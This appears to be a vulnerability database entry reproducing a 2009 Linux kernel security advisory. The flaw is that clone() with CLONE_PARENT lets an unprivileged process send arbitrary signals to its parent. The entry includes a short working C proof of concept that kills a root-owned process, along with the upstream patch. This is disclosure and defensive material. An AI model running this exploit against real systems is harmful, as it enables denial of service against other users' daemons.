Lucene search
K

Linux Kernel克隆进程CLONE_PARENT本地拒绝服务漏洞

🗓️ 27 Feb 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 63 Views

Local denial of service vulnerability in Linux Kernel clone process

Related
Code

                                                Programs affected: Linux kernel up to at least 2.6.28.
Fixed: Fix sent upsteam. See credits below.
Severity: Send signals to processes you shouldn't be able to.

There are various interesting ways signals can be sent using the Linux kernel API. There are certainly more options that just boring kill(SIG, pid)! Examples include:

    * Use of the fcntl() flags F_SETOWN and the lesser known F_SETSIG
    * Use of prctl(PR_SET_PDEATHSIG, ...)
    * Use of clone(..., SIG, ...)

It is this final example that features in this advisory. The clone() system call permits the caller to indicate what signal it receives when its child exits; the traditional SIGCHLD or perhaps something more exotic. Normally this would not be a problem but there's the nice trick of combining this with CLONE_PARENT. CLONE_PARENT causes the new child to share the same parent as the caller, thus enabling this arbitrary signal to be sent to the caller's parent.

There is limited mischief that can be caused using this. The most likely is a DoS by killing some daemon process. This can be achieved if said daemon process launches untrusted user processes as direct children. There will be a problem if the user processes are the result of an execve() after fork() and setuid(). Without the execve(), the process will be marked as not "dumpable", so debug attach via ptrace() will not be permitted.

In some rare and bizarre cases, the ability to send a specific signal to a process at a specific time may be abused to make it misbehave. Certainly an area for further research.

Here is a sample piece of code which shows a root-owned process being killed by a non root-owned process.

#include <sched.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>

static int the_child(void* arg) {
  sleep(1);
  _exit(2);
}

int main(int argc, const char* argv[]) {
  int ret = fork();
  if (ret < 0)
  {
    perror("fork");
    _exit(1);
  }
  else if (ret > 0)
  {
    for (;;);
  }
  setgid(99);
  setuid(65534);
  {
    int status;
    char* stack = malloc(4096);
    int flags = SIGKILL | CLONE_PARENT;
    int child = clone(the_child, stack + 4096, flags, NULL);
  }
  _exit(100);
}

Patch sent upstream (see credits below) was:

--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -1184,7 +1184,9 @@ static struct task_struct *copy_process(
       p->parent_exec_id = p->self_exec_id;

       /* ok, now we should be set up.. */
-       p->exit_signal = (clone_flags & CLONE_THREAD) ? -1 : (clone_flags & CSIGNAL);
+       p->exit_signal = (clone_flags & CLONE_THREAD) ? -1 :
+                        (clone_flags & CLONE_PARENT) ? current->group_leader->exit_signal :
+                        (clone_flags & CSIGNAL);
       p->pdeath_signal = 0;
       p->exit_state = 0;

Credits

    * Oleg Nesterov and Don Howard for working out a suitable fix and creating the above patch.
    * Eugene Teo for co-ordinating.


CESA-2009-002 - rev 1
Chris Evans
[email protected] 
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Feb 2009 00:00Current
6Medium risk
Vulners AI Score6
EPSS0.00698
63